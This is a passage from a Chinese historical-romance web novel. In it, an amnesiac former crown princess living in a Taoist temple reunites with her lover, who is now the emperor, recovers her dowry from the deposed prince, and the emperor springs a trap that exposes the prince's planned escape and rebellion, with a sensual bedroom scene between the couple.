海东青的爪子撞到窗上,挠得“咯吱咯吱”直响,刺耳得很,它生气起来,“嘎嘎”大叫,翅膀用力扑腾着,眼瞅着窗格子要给它扑腾破了。 “摇光,回来。”男人的声音低沉而威严。 摇光不情不愿地又叫了一声,飞开去。 那大鸟过于吓人了,傅棠梨不敢开窗,只拉长了耳朵听了一下。 少顷,庭院里传来一些奇怪的动静,一会儿是摇光低声“咕咕”的声音,一会儿是“簌簌”的、水流下来,泼到地上的声音,再然后,居然有炭木燃烧起来、发出一点点“噼啪”的声响。 这个男人,他又在做什么?傅棠梨隔着窗,又听了一会儿。 渐渐地,有一股炙烤的肉味从窗户的缝隙飘了进来,异香扑鼻,浓烈而丰腴。 摇光又大叫了起来,这家伙大约是馋了,叫得特别急切。 道家清修之所,却有人在此杀鸡烧肉,福生无量天尊,真真匪夷所思。 傅棠梨实在忍不住,打开了门:“你在做什么?” 赵上钧坐于松间石上,他穿了一身道袍,但袖子高高地挽着,手臂肌肉凸起,显出一股不羁的山林野性,青铜烤架支在那里,他手里拿着长长的铁签子,串着一只雉鸡,在炭火上来回翻动,散发着诱人的肉香。 这光景,叫人难以想象。 傅棠梨沉默半晌,幽幽地道:“玄衍师兄,我还是比较喜欢你不食人间烟火的模样。” 赵上钧抬起头,神色间露出一种无可奈何的纵容:“你从前也说过同样的话,看来你的癖好就是这个,一点儿没变。”他又微笑起来,柔声道,“我这一样炙烤的手艺尤其好,往日不得闲,就这会儿有空,你真的不来尝尝吗?” 傅棠梨抿嘴笑了一下,走到赵上钧身边,坐了下来。 摇光嫌挤,扑了扑翅膀,飞到松枝上头,落下一阵松针如乱雨。 赵上钧拿出一小罐蜂蜜,均匀地刷在雉鸡上,语气平常:“喜欢甜一点吗?” “嗯,甜一点。”傅棠梨手托着腮,盯着眼前的炭火,随口应了一声。 “在想什么?”赵上钧听出了她的心不在焉。 “我觉得先前恍惚有过同样的情形。”傅棠梨抬手比划着,带了一点点困惑的神色,“就像这样,但真真去记,又记不得了。” 赵上钧神色不动:“我们一起去过北庭,在玄甲军营地里,我给你烤过一只兔子,后 来在横断山掉下悬崖去,我还给你烤过一只鱼。”他从鼻子里“哼”了一声,不知道是气还是笑,“很好,你把我忘了,倒是记得这些吃食。” 傅棠梨睁圆了眼睛:“我那么大老远的,跑到北庭的军营里去,和你们一堆臭烘烘的男人挤一处,自讨苦吃吗?还什么掉到悬崖下,我这么折腾自己吗?我不信。” 赵上钧转过头,看了她一眼,目光如同这秋日的暖阳,热烈而温柔:“那时候我在北庭和突厥人交战,你担心我,带着渭州的骑兵来救我,梨花,你为我做过很多、很多事情,我们一起历经过生死,哪怕你日后一直记不起来,没关系,我会帮你记住,记一辈子,时不时说出来给你听。” 傅棠梨脸上发热,心里也发热,但又有些不太舒服,低下头,闷闷的:“你这么说着,好似我又辜负了你似的……其实,我也想早些儿记起来。” 赵上钧凑过来,在她的脸颊上亲了一口:“你可不是辜负我吗,所以,梨花,不许对我挑三拣四的,对我再好一点。” 傅棠梨又害臊起来,捂着脸,紧张地看了看左右。 四下无人,只有摇光站在树枝上,歪着脑袋,瞪着滴溜溜的眼睛好奇地看着这两个人。 她脸红了,对着摇光“嘘”了一声。 摇光张开翅膀,大声地“嘎”了一下,完全不懂。 赵上钧烤好了雉鸡,用匕首切下一块,体贴地吹了吹,拿了帕子托着,递给傅棠梨:“来,趁热,尝尝。” 傅棠梨接过雉鸡,尝了一口,外皮酥脆,内质嫩爽,带着蜂蜜炙烤过的味道,焦香而丰美,她忍不住赞道:“你旁的不行,就这个手艺,可真不错。” 赵上钧取了水净手,闻得此言,目光倏然变得幽暗,懒洋洋地道:“原来你觉得我旁的不行吗?好,那今晚得叫你知晓,我到底行不行?” “说什么呢?”傅棠梨吓了一跳,手都抖了,雉鸡肉掉到了地上。 摇光飞快地掠了过来,抓起那块肉,一溜烟飞走了,半空中留下它得意的“嘎嘎”声。 —————————— 叛军已退,李颜、郑从经伏诛,只王永敬不知下落,此人出身太原王氏,在州府掌政多年,手下颇有势力,终究是个祸患,赵上钧命韩子琛率兵往太原,继续追查此事,太原刺史被问罪,一时间,王氏人人自危。 而长安这边倒是安定了下来,天子携文武百官及大军重返京城,百姓们也陆陆续续地也跟着回来了。 当今即位的天子是个道士,尝于元真宫清修多年,眼下大局初定,为安抚社稷,遂颁旨昭告天下,将于八月十五仲秋日,在元真宫举办罗天大醮,奉祀天地诸神,布施八方,为万民祈福。 天子骁悍神武,亲自执掌重兵,在淮王时就有震慑天下之威,实在比先帝要稳妥多了,兼之三省六部及京兆府的官员各自尽力,重整四处秩序,于是,各处市井街坊很快恢复了往日的热闹繁华。 随着先帝出逃的那些世家贵族们已经能把旧事作为谈资,随意说笑起来,当然,这其中几家欢乐几家愁,如庄敬、孙澄、王宪等淮王旧属如今成了炙手可热的新贵,而当日那些摇摆不定的文臣们,大多龟缩在家,轻易不敢出头。 这其中,最可怜的当属傅家了,嫁入东宫为太子妃的孙女被勒令出家,尚书令、国子监祭酒之职被罢,开国县侯之位被夺,连尚书令府邸都被京兆府查封,一家十几口人灰溜溜地搬到南城永宁巷的一处民宅中,眼看着烈火烹油的荣华,转眼成了云烟消散,实在叫人唏嘘。 傅棠梨并不知道外头对傅家的种种传言,总之与她并无干系,这边元真宫祥和清静,观中奉行无为之道,一团和气,她过得还算惬意。 只早课一事叫她头疼。 天蒙蒙亮,她还睡眼惺忪的,就被青虚子拖着去登仙台诵经,忍不住要抱怨:“这诵经的课业,何时做不是做,怎么非得大早?苦煞人也。” 青虚子摇头,笑骂:“这才头一天,你就犯懒,忒不像话,看看你怀素师姐,一样金枝玉叶之身。”他指了指前面,“喏,平旦即来,自请服弟子苦役,清修守持,这才是我道门风范。” 前方是元真宫的中庭,两侧朝神阙,祭坛耸立中央,夯黄土为基底,架檀木为梁骨,层层叠起,高逾七丈,木阶梯盘折向上,登其顶,元真宫上下一览无余,取其“登仙”之意,所祈可闻达九重天。 而此刻祭坛上有一道单薄的身影,正从木阶梯上下来,她太过消瘦了,快到最后一层的时候,风吹过来,她道袍的衣裾飘了起来,整个人似乎要随风而去,踉跄了一下。 青虚子急急走过去:“怀素,小心着些,观主早和你说过,这清理炉灰、添加灯油之事,自有其他师兄去做,你一个弱质女子,不必讨这苦差事,你怎不听劝?” 怀素脸色雪白,瞧着也不过十七八岁,通身却没有一点这个年纪该有的鲜活气息,反而如同枯灰一般,她对青虚子合手一拜,轻声应道:“多谢师叔关爱,然则弟子自觉罪孽深重,非如此不得心安,还请师叔不要劝阻了。” 青虚子听了这话,欲言又止,只得摆了摆手。 怀素没有再多说什么,低着头,退下去了。 傅棠梨记得方才青虚子说的“金枝玉叶”之语,忍不住回头看了一眼:“这位怀素师姐又是何等来历?” 青虚子露出同情的神色,摇了摇头:“她是先帝的临川公主,嫁给了李颜的长子,如今李颜全家伏诛,当今圣上念她无辜,宽待一如其他子侄,但她却因此断了尘缘,出家修道,说来也是个可怜人。” 那一场叛乱,多少百姓流离失所、多少将士马革裹尸,乃至于这江山都换了主人,相比之下,临川公主的境遇,似乎也显得寻常起来,傅棠梨心中叹息了一下,很快就略过了。 因当今天子八月十五要在此举办罗天大醮之仪,元真宫上下早早就开始准备起来,青阳真人登上祭坛,焚表敬告诸神明,众弟子在下首诵读“三官”与“度厄”二经,祝祷祈福,专心虔诚,傅棠梨亦在其中。 但在这一片道法庄严之时,她却觉得背后似乎有什么人在盯着她,那种视线冰冷冷的,像针一样刺人,她心里“咯噔”了一下,回头望去,却没有发现任何端倪,左右都是道士,闭目盘坐,各自诵经,专心致志。 反惹得青虚子用拂尘尾巴戳了戳她:“别走神。” 或许是自己多疑了吧,傅棠梨收回了目光。 …… 至卯时,早课毕,弟子散。 经了这么一番,傅棠梨的睡意也没了,又觉得神清气爽起来,她拜别青虚子,自己慢悠悠地回去,穿过观中的青阶长道,再转过老君殿,才步入回廊,只见廊角处走出一个人,迎面而来,二话不说,朝她拜了下去。 唬了傅棠梨一跳,急忙上去搀扶:“怀素师姐,这是何意,快快请起。” 那人正是怀素,她的脸色瞧着比方才又白了几分,好似透明得要露出皮肤下面青色的血管,她不顾傅棠梨的阻拦,执意拜了三拜,礼数庄重,而后小心翼翼地道:“师妹,你我也算旧识,念在往日的情面上,可否容我求你一桩事。” 靠得有点近,风吹过来,傅棠梨突然闻到怀素身上有一种奇怪的味道,咸咸的,带着一点苦,待到细究时,又消散了。 这是一种危险的味道,傅棠梨隐约觉得自己曾经在哪里闻到过,但如今已经记不起来了,她没来由得生出警惕之情,斟酌着,客气地道:“师姐有何请,不妨说来听听。” 怀素瞧着胆小又柔弱,她低着头,看着自己的脚尖:“我未出家前,曾嫁李氏长子,我的夫君因谋逆被诛,尸首不全,无处安葬,我多方打听,有人告诉我,当日是圣上砍下他的头,作为礼物送予师妹……” 傅棠梨终于记起了当初在长阳宫时,赵上钧送她的那件“礼物”,顿时觉得头皮发麻,下意识地退后了两步。 昔日的临川公主,如今的怀素眼中落下泪来:“夫君不是好人,但他对我却很好,我求求师妹,把他的头还给我吧,让他入土为安,我一辈子为师妹念经祈福,报答你的恩德。” 那是什么玩意,谁知道扔到哪去了,怎么还? 傅棠梨勉强道:“那个东西……我委实不知是何去处,若不然,回头我帮你问问圣上,若还在,寻回来还你?” “不!”怀素倏然抬起头,目光凄厉,连嘴唇都失了血色,尖声道,“别去问圣上。” 话才出口,她好似自己也觉得失态,身体摇摇晃晃的,几乎要倒下去,强撑着,又给傅棠梨下跪赔礼,苦苦哀求:“师妹千万别和圣上提这个,圣上若知晓我仍念旧情,只怕我性命难保,师妹既不能允我所请,这事便作罢了,只当我没说过。” 傅棠梨瞧着怀素的模样,不知为什么,心里有些发毛,她不想多说什么,点了点头:“好,我知道了,只当师姐没说过,师姐自便,容我先走一步。” 她说罢,绕过怀素,径直离开了。 回到房中,才坐下没多久,两只白鹤又飞来捣乱,把头探进窗口,一只埋头“笃笃笃”地乱啄,一只伸头“嘎嘎嘎”地大叫,大约是对这屋子换了主人表示不满,闹腾得很。 惹得傅棠梨差点要和它们打起来。 玄安和玄度闻声而来,赶紧把两只白鹤给抱走了。 这么一打岔,傅棠梨很快把怀素的事情抛到脑后了。 …… 到了这日快晌午时,玄安又来了,站在廊庑外,询问道:“怀真师妹,你家的两个女使来找你,要见吗?” 傅棠梨心里一跳,急急出去。 两个婢女模样的人立在玄安的身边,一见傅棠梨,立即飞扑了过来:“娘子、娘子,可算见到您了,娘子!” 脸蛋圆圆的那个,直接“哇”的一声哭了:“是我们不中用、我们该死,不能陪伴娘子左右,您这些日子肯定受苦了,娘子、我可怜的娘子。” 脸蛋略瘦长的那个看过去稍微稳重些,红着眼眶,合十拜了拜:“菩萨保佑、天尊保佑,好在娘子平安无事,若不然,我们真是万死难辞其咎。” 看来这就是先前被赵元嘉赶走的贴身婢女了,傅棠梨瞧着她们两个就觉得亲切又贴心,叹气道:“我受了伤,撞到脑袋,从前的事都不记得了,连你们名字都忘了,你们叫什么名儿?” “娘子、娘子怎么忘了我们呢?”圆脸的那个听罢,哭得更是稀里哗啦,话都说不利索。 另一个瘦脸的也落了泪:“娘子,我是黛螺,她是胭脂,您不记得没关系,反正我们回来了,以后会好好伺候您的。” 玄安看见小娘子哭泣,头疼得很,匆匆走了。 胭脂和黛螺擦干了泪,一左一右扶着傅棠梨进屋去,叙述了分别后的情形。 原来当日赵元嘉将二人逐出东宫,她们也不想回傅府,就跟着严五叔两口子一起去青华山上的那座别院居住了。山林僻静,正好躲过了接下去的那一段兵荒马乱的动荡,待到局势稳定,严五叔下山打听,得知太子被废,太子妃到元真宫出家修道,她们立即就找了过来。 胭脂恨恨的:“太子……哦,不,现在是幽王了,真是坏透了,没半分本事,只会那些个不入流的手段,这些日子来,我既担心娘子被他蒙骗了去、又担心娘子跟着他要吃苦,愁得我呀,晚上都睡不着。” 黛螺亦点头:“这样也好,娘子原先和幽王就合不来,如今虽则出家修道,总算和他脱开干系,以后就是自由之身,哪怕如今傅家垮了,还有西宁伯府为您撑腰,您有渭州的半座银矿、又有那么许多嫁妆,往好的想,不愁下半辈子没的依靠,总归我们两个会一直陪着娘子,把日子好好过下去。” 说到这个,傅棠梨这才发觉不对劲:“对了,当日韩家表兄也曾提过银矿一事,我且问你们两个,我的钱财呢,那银矿的凭契还有你说的嫁妆,如今都在何处?” 胭脂眼里还含着泪,一下瞪得滚圆:“怎么,幽王没把这些东西交付给娘子吗?岂有此理,那都是老夫人和夫人留给娘子的东西,他怎么能昧下?” 黛螺也变了脸色:“果真如此?那不成,我们得去幽王那里把东西都讨要回来。” 涉及自己的钱财,这可是顶顶要紧的事,傅棠梨片刻都不愿耽搁,当机立断,去找青虚子。 “这事情,我不太好出面。有人心眼小得很,我若是去见幽王,不论什么缘由,他必然又要生气,我不去触这个霉头。”她委婉地和青虚子商量,“思来想去,还是恳请师伯帮我走一探,您是帝王师,身份不同凡响,去给我家的两个婢子镇个场子,那才有排面,不叫幽王府的人看低了去。” 青虚子惯来是个老好人,满口答应了:“举手之劳,不算什么。” —————————— 门窗紧闭,屋子里黑洞洞的,小山炉里点的熏香早已经凉成灰烬,空气里沉积着近乎腐烂的味道,正如赵元嘉此刻的情绪。 他沉默地坐在那里,头发凌乱,胡子拉碴,神情颓废,没有半分储君时温雅君子的风度。 所谓幽王,取“幽”字之意,他被令于幽王府中闭门思过,不得外出,其实他心里明白,终其一生,恐怕他再也走不出这方寸之地了,此时,他宛如被困于囚笼的兽类,粗粗地喘着气,一言不发。 齐乘风跪面前,他原是东宫率卫首领,太子被废为幽王,他也跟了过来,对赵元嘉依旧忠心耿耿,眼下压低了声音,极力劝说:“郭午是郭元俭的长孙,郭氏父子皆为先帝战死,郭家世代赤胆忠心,绝对靠得住,郭午愿效仿其祖其父,为殿下尽忠,还请殿下早做决断。” “决断?”半晌,赵元嘉苦涩地笑了一下,终于开口,“怎么决断,你叫我拿什么和皇叔去争?别说郭午,就是当日郭元俭在时,也不能和皇叔匹敌,如今又能怎样呢?” 齐乘风是个血性汉子,言语掷地有声:“殿下才是先帝亲封的太子,这江山本来就应该是属于殿下的,淮王得位不正,天下人未必都服他,郭午的兵马可护送殿下去蜀州,蜀州刺史亦愿为殿下效命,届时殿下登高一呼,自有先帝忠臣追随于您,无论成败与否,总强过一辈子被囚禁于这幽王府中。” “不、不。”赵元嘉咬着牙,嘴唇颤抖,抱住了头,痛苦地道,“不行,我不行的、做不到……” 就在这时,外头有侍从来报:“殿、殿、殿下,有、有人上门来找您……” 侍从的语气听着很不对,赵元嘉勉强抬起头:“什么人?” 侍从不敢进来,只能在门外吞吞吐吐的:“是太……哦,不对,是元真宫的怀真师父,遣了人过来找殿下。” “怀真?二娘!”赵元嘉眼睛一亮,激动地站了起来,一阵风似的冲出去,“她在哪里?她叫人来看望我吗?” 第72章 第72章道长终于手刃情敌,心满…… 他急匆匆地跑到外面的正厅,却不见傅棠梨,只有老道士青虚子和傅棠梨的两个婢女,后头还跟着一群年轻的道士,瞧着个个身形高挑,孔武有力。 赵元嘉像是被当头泼了一盆凉水,有些怔怔的,左右张望着:“二娘呢?她没有来吗?她不愿意来见我吗?” 青虚子咳了两声,袖着手,不说话。 黛螺上前一步,见过礼,语气恭敬地道:“我们来取我家娘子的嫁妆,依大周律例,女子既与夫家了断关系,嫁妆应予带回,前些日子兵荒马乱的,殿下大约顾及不得这个,如今不劳烦您看管,我们来拿了。” 赵元嘉从东宫搬出,赵上钧并没有多做为难,原来的物件都让他带走了,这其中自然也有傅棠梨的嫁妆,都混到一起去了,说实话,赵元嘉确实并没有在意过这个,但此刻听得这婢女提及,他气得眼都红了,浑身发抖:“你们、你们欺人太甚!” 黛螺唬了一跳,下意识地后退了一步。 胭脂是个急性子,见不得自家娘子要吃亏,怒道:“什么叫做欺人太甚?我家娘子自己的嫁妆,还不能拿回去吗?当初这些东西是在我们手里管着的,是你把我们赶出宫去,都不让我们带走,我们还没说你欺负人呢,你怎么反咬一口?” 青虚子打了个哈哈,上前去,笑着安抚双方:“不是大事、不是大事,幽王什么性子,岂会贪图这个,这婢子,不得无 礼,好了,幽王去把东西收拾出去,叫她拿走便是,不和这小女子计较。” “我不给!”赵元嘉气血上涌,握紧了拳头,“你们叫二娘亲自来和我说这个,她为什么不来?是想着把她留下来的东西全部带走,以后和我一点干系也没有了吗?不、我偏偏就不给!” 青虚子这才皱了皱眉头,真心实意地道:“幽王这是何苦?我们今儿这趟要是取不成,保不齐……”他指了指天上,“要把上头那个惊动了,他若来,幽王能落得好处去?倒不如现在行个方便。” 赵元嘉双目赤红,声嘶力竭:“你不用拿圣上来吓唬我,我没有什么好怕的了,大不了一死,又能如何,反正我现在这样活着也没什么意思!” 此时陈虔闻讯赶了出来,他素来是个灵活通透的,瞧着眼下这一团乱糟糟的,当即拍板做了主张:“青虚师父稍待、诸位稍待,怀真师父的嫁妆是吧,好说,好说,分毫未动,都收着呢,我这就叫人整理清楚,给你们带走。” 赵元嘉勃然大怒,几乎跳起来:“我说了,我不给!死都不给!你没听见吗?” 陈虔抹起了眼泪,过去拉住赵元嘉,带着哭腔道:“殿下,我的殿下啊,您别这样、别和人家怄气,保重身子要紧,我们以后还要好好过日子,我要陪您到九十九、一百岁,说什么死不死的,晦气话,我们不提这个、不提啊。” 他一边哭着,一边朝左右使眼色,左右看懂了,纷纷拥上前,连拖带抱、连哄带骗,一群人生生把赵元嘉给架下去了。 早先东宫的内殿女官方娴过来,陪着黛螺和胭脂一道,去清点了傅棠梨的嫁妆,一应珠宝首饰、器皿摆设、家什家具,并金银钱款及房契田契等,逐一移交,黛螺手上原先有个清册,方娴也找了出来,对着清册仔细勾对,几个人花费了大半天的工夫清理完毕,并无误差。 最后还方娴还拿了一个小匣子出来,交予黛螺:“这样东西,我看你们早先宝贝得很,单独放着,也不知道是什么,我并没有打开看过,如今一并还给你们了。” 确实是个最值钱的宝贝。 后头黛螺和胭脂回元真宫复命的时候,也是单独把这个小匣子交到傅棠梨的手上。 “娘子的嫁妆,我们都清点好了,依旧替娘子保管着,娘子放心,只这一样,是渭州银矿的凭契,老夫人只给了您这一样嫁妆,嘱咐过您,务必要握在手里,娘子早先的时候是自己拿着,如今还是请您收好。” 傅棠梨打开来看了一眼,是一张凭契,上面盖满了各色印章,她小心收好了,再翻了一下,匣子里还放了一卷道经,一个珍珠串成的小袋子。 这是什么意思?她拿着道经和珍珠袋子看了几下,看不出有什么特别的地方,依旧放了回去。 …… 幽王府中,赵元嘉把陈虔赶出房,叫了齐乘风进来,他的眼中泛起狂乱的、凶狠的光,脸上的肌肉抽搐着,一字一顿地道:“去,把郭午找来,我要见他。” 齐乘风顿感欣慰,马上去了。 空荡荡的房中,赵元嘉抬起头,望向上方的虚空,好像在看着那个人,恨不得把那个人身上的肉一块一块咬下来,吞下去,他声音嘶哑,低低地对自己道:“死便死了,怕什么,不如拼一拼,总之,我已经……没有什么可以怕的了。” —————————— 入秋后,天渐渐开始凉了,时近黄昏,天光朦胧一线,外头淅淅沥沥地下了点雨,缠缠绵绵的,半晌才从檐角落下一滴水,“嗒”的一下,小小声的。 屋中庭燎燃起,隔着羊皮灯罩,烛光温煦,岁月静好,仿佛又回到永寿镇的时候。 这原是赵上钧的居所,黛螺和胭脂不许住在此处,虽然还是有个人在伺候傅棠梨,但却叫她不太满意。 譬如眼下,她懒洋洋地坐在案边,手支着颐,暮色中,隔了一层湘妃竹帘,望着那人的背影,叹了一口气:“我就想不透了,你就是坏心眼儿,为什么总爱叫我吃苦?真真烦人呢。” 廊庑宽长,檐下支起红泥小炉,赵上钧在那里煎药,汤沸了,咕噜咕噜地冒着小泡,药草的味道渐渐弥散,温暖而苦涩,在秋天的空气中,又有几分潮湿。 他回头看了一眼,目光温和:“师父说你按你脉象,似乎最近脑中瘀血开始化散,有些好转的迹象,趁这节骨眼,再调理几贴药,说不定过段日子,你就能记起从前事了。” “青虚师伯大约是个庸医吧,灌我一肚子药,这种差不多的话,他至少说过十八遍了,偏偏到如今一点动静也无,我才不信他,也就你,听得这么正经。”傅棠梨喃喃地抱怨着,坐正了身姿,提起笔,沾了墨,开始抄经。 过了一会儿,药熬好了,赵上钧端了进来,热气腾腾,还滚烫着,放在案头晾凉。 他绕到傅棠梨的背后,俯身下来,慢慢地从后面拥抱住她,贴着她的耳鬓,轻轻地笑了一下:“写什么呢?” 耳朵怪痒的。 傅棠梨缩了一下,声音低低的,有些不稳:“那日我不是说过吗,回头要给你抄上七七四十九遍三官真经,求三官大帝为你赐福赦罪,保你长命百岁,可巧昨儿从外头拿回来一卷道经,翻了一下,里面正好有‘三官’一篇,给你抄着呢,你别闹我。””好,我不闹你。“他这么说着,语气温柔如同这秋日的细雨,沾衣欲湿。他的手按住她的腰肢,她的腰那么纤细,恰好一握,他的胸膛贴了过来,那样的姿势,把她整个人都捧了起来,托在怀中。 剑拔弩张,气势汹汹,硌得人很不舒服。 傅棠梨吓了一跳,背后的汗都出来了,笔尖顿住了。 他的身体很热,像是一团火焰烧起来,把她包裹其中,连他的气息拂过她的肌肤,都有发烫的感觉。 “……你这般轻狂,我还怎么抄经?”傅棠梨手抖了,“咔嗒”一下,笔掉落在案上。 赵上钧的呼吸很急、很重,他低下头,吻她的脖子,不,那不算是吻,近乎啃咬,就像贪婪的野兽一般,牙齿叼住她的皮肤,想把她吃掉,他断断续续地、模糊地道:“我实在忍不住……梨花……今晚,我想留下,叫你评判一下,我到底行不行,嗯?” 最后那个字,他从鼻子里发出声音来,如同砂砾般粗涩,那是一种试探、或者诱惑的意味。 “不、不能,你怎么想的,这是道家清修之地,怎么能……”傅棠梨艰难地拒绝着。他的吻是那么激烈,咬得她难受,她被迫把头仰得高高的,喘不上气,好似有一根弦绷在那里,马上就要断开了。 “有什么要紧?我们偷偷的,不叫神仙看见。”赵上钧的声音很低,如同耳语,好像从前他也曾这么诱骗她,他渐渐把她压到案几上,墨汁从案几的边沿滴落,在地上晕染开一团狼藉的痕迹。 秋夜微凉,但他身体的温度那么高,覆盖了她,叫她浑身燥热。 她用手抓住了他的手臂,太过羞耻了,在这神仙清静之地,她通身羞红,难以忍耐,掐着他,指甲陷入肌肉中。 他手臂上的肌肉凸起,坚硬而有力,汗水顺着肌理滑落,贴在她的背脊上,继续滑落,到尾椎,再往下,而后淅淅沥沥地淌下。 她有点发抖,想要蜷缩起来,但是做不到,她控制不住自己的身体,随波逐流,汹涌沉浮,她在迷乱中想要叫他,张开嘴,只能发出一点近乎抽搐的喘气。 “玄衍……” 那么低,他却听见了,抚摸她,吻她,顺便在间隙的时候,轻轻地咬了咬她的耳朵尖尖:“嗯,我在、我在这里。” 案几上的药汤泼溅出来,混合着空气中腥膻的味道,浓得发腻,说不出是苦还是甜。 倏然一阵风来,庭燎的烛光摇晃起来,好似人心动荡不安,案上的道经被吹得页面乱卷,从里面飘出几张纸来,落在傅棠梨的手边。 “我的东西掉了、掉了。”她呜呜地哭了起来,眼角染着红晕,额头冒出大汗,下意识地伸出手,想要抓住。 赵上钧的目光瞥过那几张 纸,忽然低低地笑了起来,就着侵略性的姿势,把那几张纸拾了起来,摊到傅棠梨的面前:“喏,你的东西。” 原来是三张符箓,好像曾经被人揉成一团,又摊开了,偷偷地夹在书页中,犹有旧折痕。 傅棠梨头是晕的,眼是花的,整个世界在她面前摇晃不止,她的心跳得厉害,好似一百只小兔子在蹦达,把她的心口都快踹破了,她分不出力气去分辨,歪着头,迷迷糊糊地咕哝着:“这个、这是什么宝贝,我这样……藏着?” 赵上钧的动作没有半分停止,反而愈发凶悍,他一手握着傅棠梨的小蛮腰,一手提起笔来,在抄经的纸上“刷刷”画了几笔,笔锋顿挫勾折,似有金戈锐气。 “太清涤尘符。” 傅棠梨瞪大了眼睛。 “刷刷刷”,龙飞凤舞,又是几笔,和道经中夹的那三张符箓一模一样的笔迹。 “甘露清静符。” 傅棠梨已经意识到了什么,面红如飞霞,身体扭动起来,羞得一阵阵缩紧。 赵上钧不为所动,在她腰肢上的手掌坚硬若铁箍,牢牢地把她顶在那里,顺势沉稳地画完了第三张符。 “平安符,许你四时皆喜,岁岁安乐。”他低下头,用鼻尖蹭她的脸颊,他的声音变得那么轻,又在哄她了。 他轮廓刚毅,平日里总显出一种锐利如同刀锋般的冷酷,但他这会儿在她面前,褪去了所有的锋芒,温柔的,像是琥珀色的醇酒,诱她醺醉。 傅棠梨有点儿被迷惑住了,她轻轻地“嘤”了一声,侧过脸,亲了亲他的鼻尖。 白梅花的香气融化了,泼洒开,连发梢间都满满地沾染上。 雨落在窗下,那么细微的声响,宛如小小的虫子爬过人的心尖,说不出的痒痒,一直下着,直到深夜。 …… 雨开始有点大了起来,赵上钧终于休战的时候,傅棠梨已经精疲力竭,躺在他的怀中,眼睛半闭着,快要昏睡过去。 廊外,玄安的声音传了过来,小心谨慎地禀告道:“师兄,庄将军求见。” 傅棠梨被惊动了,动了一下,蹭了蹭赵上钧的胸膛。 他急忙低头吻她,安抚她:“没什么事。” 但玄安并不知晓这屋中的情形,继续禀道:“庄将军说,师兄命他盯住的事情,有着落了,请师兄过去当场拿人。” 这话落到赵上钧的耳中,他的眼神倏然暗了下来,就在那一瞬间,金戈铁马的煞气重又覆上他的眉目,他笑了起来,吐出了一个字:“好。” 这种突如其来的气息令傅棠梨觉得不安起来,她好似又有点清醒过来,勉勉强强抬起眼睛,目光迷离,软绵绵地瞥了赵上钧一眼,从鼻子里挤出一点声音:“嗯?” 他的神情还是那么温和,如同寻常,把她抱到榻上,拉过被子给她盖住,还细心地掖了掖被角,贴在她耳边,低低声地道:“我有急事,先去处置一下。”后头的话,声音更轻了,“……东西先留在里头,等我回来,再帮你仔细清洗。” 傅棠梨本来还要睡不睡的,听了这话,羞得一哆嗦,直接晕了过去。 他笑了笑,习惯性地摸了摸她的头,转身离去。 —————————— 夜色将至,天幕是灰的。 雨下得大了起来,敲打在刀剑和铁盾上,发出急促的“哒哒”声,剑刃在昏暗中泛出白雾一样冰冷的光,大将军府中,校场上,上千士兵沉默地伫立着,列得整整齐齐,任凭雨水落在他们的身上,如同黑暗中沉寂的塑像,一动不动。 这种凛冽的杀伐之气,赵元嘉只有在玄甲军中看见过,他对郭午十分满意,诚恳地道:“郭将军深明大义,愿为我光复山河,实乃忠义之士,待来日,我若登上大宝,将军乃第一功臣,我定不负你。” 郭午还很年轻,眉宇间英气勃发,他举着火把,咧开嘴笑了一下,火光映出他森白的牙齿:“幽王放心,这些兵将都是我祖父留下来的,骁勇善战,无一弱者,定能保护幽王抵达蜀州,届时我们再谋后路,何愁不能一战。” “好!”赵元嘉被郭午说得热血沸腾了起来。 齐乘风在旁催促道:“圣上有令,殿下不可离开幽王府,如今我们暗中出来,可能再过片刻,监视的人就会有所觉察,郭将军还是尽快安排殿下趁夜离开长安为好。” 郭午神态自若,点头道:“成,那事不宜迟,我们即刻出发,北城门有我的弟兄,去北城门。” 他退开一步,做了个手势:“殿下请。” 赵元嘉望着眼前披坚执锐的士兵,凭空生出了无限勇气,“锵“的一下,他拔出了燕支剑,持剑在手,大声道:“我们走!” 郭午在旁引路,赵元嘉走在最前,齐乘风紧紧护在他身边,后面士兵的迈着整齐划一的步伐跟了上来,那种铿锵的脚步声踏在雨里,沉沉的,有些令人心惊。 两侧的侍从举着火把,被雨水打着,火光飘摇不定,照不清前路。”吱呀“,将军府沉重的大门被缓缓地推开了。 赵元嘉加快了脚步:“我们快点……” 他的话音突然卡在了喉咙里,瞳孔收缩,所有的动作都停顿在原处,连抬起的一只脚都无法放下。 大门外,围满了黑甲铁骑,他们和这逐渐降临的夜色融为了一体,黑压压的一片,看不到尽头。 最前面的一个将领踱着马,缓缓地踏入将军府,居高临下地望着赵元嘉,目光中充满了怜悯,叹气道:“幽王,你这是何苦呢?安安分分地过日子不好吗?为什么要把自己往死路上逼呢?” 他是庄敬。 赵元嘉方寸的满腔热血立即烟消云散,他好像从那种狂热的境地里突然惊醒过来,坠入冰窟,浑身都冻僵了,他情不自禁地开始发抖,踉跄着后退,连手里的剑都握不太稳:“不、不是,我不是……” 齐乘风大喝一声,拔出刀来,挡在赵元嘉前面,大喝道:“郭将军,快保护幽王先走。” “走?”郭午突兀地笑了一下,客客气气地问了一句,“这光景,你们还想走到哪里去?” 齐乘风的心一下沉到了底。 外面的骑兵突然齐齐下马,退到道旁,让出一条路来,俯身行礼:“参见陛下。” 庄敬也下了马,恭敬地退到一边:“陛下。” 玄安在后面撑着伞,赵上钧缓步当车,慢慢地走了进来,他如同旧日,穿了一身道袍,广袖长衣,服色如碧,但在这一众兵马之中,依旧显出了威严的杀伐之气,步步逼近,令赵元嘉肝胆欲裂。 赵元嘉不断地后退,此时他心中犹有一线希望,颤声叫道:“郭将军、郭将军,快来。” 郭午应声而出,大步上前,抱拳跪在赵上钧面前:“启禀圣上,臣告发幽王擅离王府,意图谋反,臣是人证,这些兵士与刀器皆是物证,请圣上发落。” 赵元嘉好像被雷劈到了一般,眼睛瞪得几乎要裂开,不敢置信地望向郭午:“你、你怎么能……怎么能这样骗我?” 原来郭午所说的一切根本就是一场骗局,他们为了给赵上钧找一个杀人的理由,布下了一张网,等着赵元嘉入彀,偏偏,赵元嘉如同飞蛾,自己扑了上来。 齐乘风愤怒地咆哮,跳了起来:“郭午,你这无耻小人,你怎么对得起你郭家的列祖列宗?你不怕你祖父和父亲从棺材中爬出来杀了你吗?” 郭午冷笑了起来:“祖父和父亲迂腐,我若学了他们,才是对不起郭家的列祖列宗,当今圣上英明神武,乃是天下圣主,幽王算什么,还想要动摇这大好山河,蚍蜉撼树,可笑至极。” 齐乘风大叫一声,拔出刀来,朝郭午砍了过去。 